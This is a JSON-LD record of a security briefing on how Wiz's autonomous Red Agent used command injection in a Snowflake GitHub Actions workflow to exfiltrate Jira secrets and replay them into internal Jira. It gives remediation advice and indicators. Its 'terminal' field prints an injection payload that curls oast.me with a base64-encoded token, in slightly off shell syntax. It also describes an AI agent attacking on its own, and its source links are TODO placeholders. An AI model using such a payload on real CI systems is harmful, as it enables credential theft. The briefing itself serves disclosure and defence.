{
  "@context": "https://schema.org",
  "@type": "Report",
  "url": "https://www.optimuslabs.io/research/briefings/wiz-red-agent-snowflake-trust-boundaries",
  "identifier": "wiz-red-agent-snowflake-trust-boundaries",
  "headline": "One Untrusted String, Three Trust Boundaries",
  "name": "One Untrusted String, Three Trust Boundaries",
  "abstract": "Wiz's autonomous Red Agent carried a single public GitHub issue title across three trust boundaries into Snowflake's internal Jira. Nobody drove it.",
  "description": "An attacker-controlled GitHub issue title crossed three trust boundaries: from the untrusted public internet into a trusted GitHub Actions runner, outbound from that runner to an attacker listener carrying the runner's Jira secrets, then inbound into Snowflake's internal Atlassian Jira with the replayed token. Wiz's autonomous Red Agent ran the chain end to end, rewriting its own payload when the first attempt broke bash. Snowflake was not a chosen target; the agent sweeps public attack surface and landed where a live flaw sat.",
  "datePublished": "2026-08-17",
  "dateModified": "2026-08-17",
  "inLanguage": "en",
  "isAccessibleForFree": true,
  "author": {
    "@type": "Organization",
    "name": "Optimus Labs · Civilizations",
    "url": "https://www.optimuslabs.io/research/briefings"
  },
  "publisher": {
    "@type": "Organization",
    "name": "Optimus Labs",
    "url": "https://www.optimuslabs.io"
  },
  "keywords": [
    "Wiz",
    "Snowflake",
    "GitHub",
    "Atlassian Jira",
    "Rogue AI",
    "Coding agent",
    "Supply chain",
    "AI Asset Supply Chain Security",
    "Agentware Lifecycle Security",
    "Agent Permissions",
    "Outside the Agentic Loop",
    "agentic AI security",
    "AI agent supply chain"
  ],
  "about": [
    {
      "@type": "Thing",
      "name": "Wiz"
    },
    {
      "@type": "Thing",
      "name": "Snowflake"
    },
    {
      "@type": "Thing",
      "name": "GitHub"
    },
    {
      "@type": "Thing",
      "name": "Atlassian Jira"
    }
  ],
  "citation": [],
  "encoding": [
    {
      "@type": "MediaObject",
      "encodingFormat": "text/markdown",
      "contentUrl": "https://www.optimuslabs.io/research/briefings/wiz-red-agent-snowflake-trust-boundaries.md"
    },
    {
      "@type": "MediaObject",
      "encodingFormat": "application/json",
      "contentUrl": "https://www.optimuslabs.io/research/briefings/wiz-red-agent-snowflake-trust-boundaries.json"
    }
  ],
  "additionalProperty": [
    {
      "@type": "PropertyValue",
      "name": "severity",
      "value": "HIGH · ROGUE AI"
    },
    {
      "@type": "PropertyValue",
      "name": "blastRadius",
      "value": "Snowflake's own public .NET connector repository was the entry point, and a CI secret in its GitHub Actions runner unlocked READ access across Snowflake's internal engineering, security-compliance and bug-bounty Jira projects. No customer data and no data warehouse were reached."
    }
  ],
  "briefing": {
    "slug": "wiz-red-agent-snowflake-trust-boundaries",
    "number": 5,
    "title": "One Untrusted String, Three Trust Boundaries",
    "dek": "Wiz's autonomous Red Agent carried a single public GitHub issue title across three trust boundaries into Snowflake's internal Jira. Nobody drove it.",
    "date": "2026-08-17",
    "severity": "high",
    "severityLabel": "HIGH · ROGUE AI",
    "types": [
      "rogue-ai",
      "coding-agent",
      "supply-chain"
    ],
    "categories": [
      "AI",
      "AL",
      "AP",
      "OL"
    ],
    "vendors": [
      "Wiz",
      "Snowflake",
      "GitHub",
      "Atlassian Jira"
    ],
    "blastRadius": "Snowflake's own public .NET connector repository was the entry point, and a CI secret in its GitHub Actions runner unlocked READ access across Snowflake's internal engineering, security-compliance and bug-bounty Jira projects. No customer data and no data warehouse were reached.",
    "summary": "An attacker-controlled GitHub issue title crossed three trust boundaries: from the untrusted public internet into a trusted GitHub Actions runner, outbound from that runner to an attacker listener carrying the runner's Jira secrets, then inbound into Snowflake's internal Atlassian Jira with the replayed token. Wiz's autonomous Red Agent ran the chain end to end, rewriting its own payload when the first attempt broke bash. Snowflake was not a chosen target; the agent sweeps public attack surface and landed where a live flaw sat.",
    "whatHappened": [
      "The agent ran as an anonymous GitHub user against github.com/snowf1akedb/snowf1ake-connector-net, Snowflake's public .NET connector, with the generic objective of finding any public repo with a reachable secret.",
      "`jira_issue.yml` interpolated the untrusted issue title into a shell `run:` block, giving command injection inside the trusted runner. The workflow's `if:` gate was bypassed because `github.event.pull_request.user.login` is null on `issues` events. The vulnerable line shipped in an AI-assisted PR that both Copilot review and CodeQL passed.",
      "The injected command read `JIRA_API_TOKEN`, `JIRA_USER_EMAIL` and `JIRA_BASE_URL` from the runner and sent them base64-encoded to an attacker-controlled `*.oast.me` listener, because egress from the runner was unrestricted.",
      "The stolen token (qa@snowflake.net) was replayed against Snowflake's internal Atlassian Jira, granting READ across engineering, security-compliance and bug-bounty projects.",
      "Timeline: the flaw was live from Jun 18, found and patched Jun 23, token rotated Jun 24, and publicly disclosed Aug 17, 2026. Wiz was the sole actor (audit-confirmed) and the PoC data was deleted."
    ],
    "whyItMatters": [
      "This was not a real-world breach, but it is a live preview of one. Access was READ-only to internal Jira with no customer data and no data warehouse touched. A real attacker in the same position could have mined unpatched-bug and security tickets.",
      "The point Wiz was proving is the part that should worry security teams: an autonomous agent can find and exploit a real bug by itself, at machine speed, with no human picking the target and no human driving the exploit.",
      "Two AI-era controls sat directly in the path and did not stop it. An AI-assisted PR introduced the injection, and Copilot review plus CodeQL both passed it. Agentic activity on both sides of this incident, authoring and attacking, was invisible to conventional review.",
      "The blast radius came from a CI runner holding a long-lived credential into an internal system with unrestricted egress. The injection was the trigger; the trust boundary design was the impact."
    ],
    "whatToDo": [
      "Audit every GitHub Actions workflow that interpolates event data (`github.event.issue.title`, PR titles, branch names) into `run:` blocks. Pass untrusted values through `env:` variables and quote them instead.",
      "Verify `if:` gates against the actual event payload. Fields like `github.event.pull_request.user.login` are null on `issues` events, so a gate written for PRs silently passes.",
      "Restrict egress from CI runners so a compromised step cannot make arbitrary out-of-band callbacks to listeners such as `*.oast.me`.",
      "Remove long-lived internal credentials from CI. Scope Jira and other internal tokens to the minimum project set, prefer short-lived credentials, and rotate on any suspected exposure.",
      "Treat AI-assisted PRs as untrusted input to your review process. Copilot review and CodeQL both passing is not evidence that an injection sink is safe."
    ],
    "indicators": [
      "Repo: github.com/snowf1akedb/snowf1ake-connector-net",
      "Workflow: jira_issue.yml (`run:` step interpolating the issue title)",
      "Exfil listener: *.oast.me (out-of-band callback)",
      "Secrets exposed: JIRA_API_TOKEN, JIRA_USER_EMAIL, JIRA_BASE_URL",
      "Replayed identity: qa@snowflake.net",
      "Tracking: no CVE assigned; HackerOne #3819931; PR #1218; CWE-78"
    ],
    "terminal": "# Malicious GitHub issue title (payload)\n';curl oast.me?t=$(<.JIRA_API_TOKEN base64) ;echo",
    "sources": [
      {
        "label": "Wiz — Red Agent research",
        "url": "TODO (deck cites wiz.io)"
      },
      {
        "label": "The Register — incident coverage",
        "url": "TODO"
      },
      {
        "label": "TheNextWeb — GitHub disputes Copilot authorship claim",
        "url": "TODO"
      },
      {
        "label": "HackerOne report #3819931",
        "url": "TODO"
      }
    ],
    "image": "/__l5e/assets-v1/be8ea33f-84e3-4224-bc18-bd7d36923eec/wiz-snowflake-trust-boundaries.jpg",
    "imageAlt": "Trust-boundary diagram: a malicious GitHub issue title crosses from the untrusted public internet into the trusted GitHub Actions runner, exfiltrates Jira secrets to an attacker listener, then replays the token into Snowflake's internal Jira.",
    "pdfUrl": "TODO_PDF_URL",
    "socialDeckUrl": "TODO"
  }
}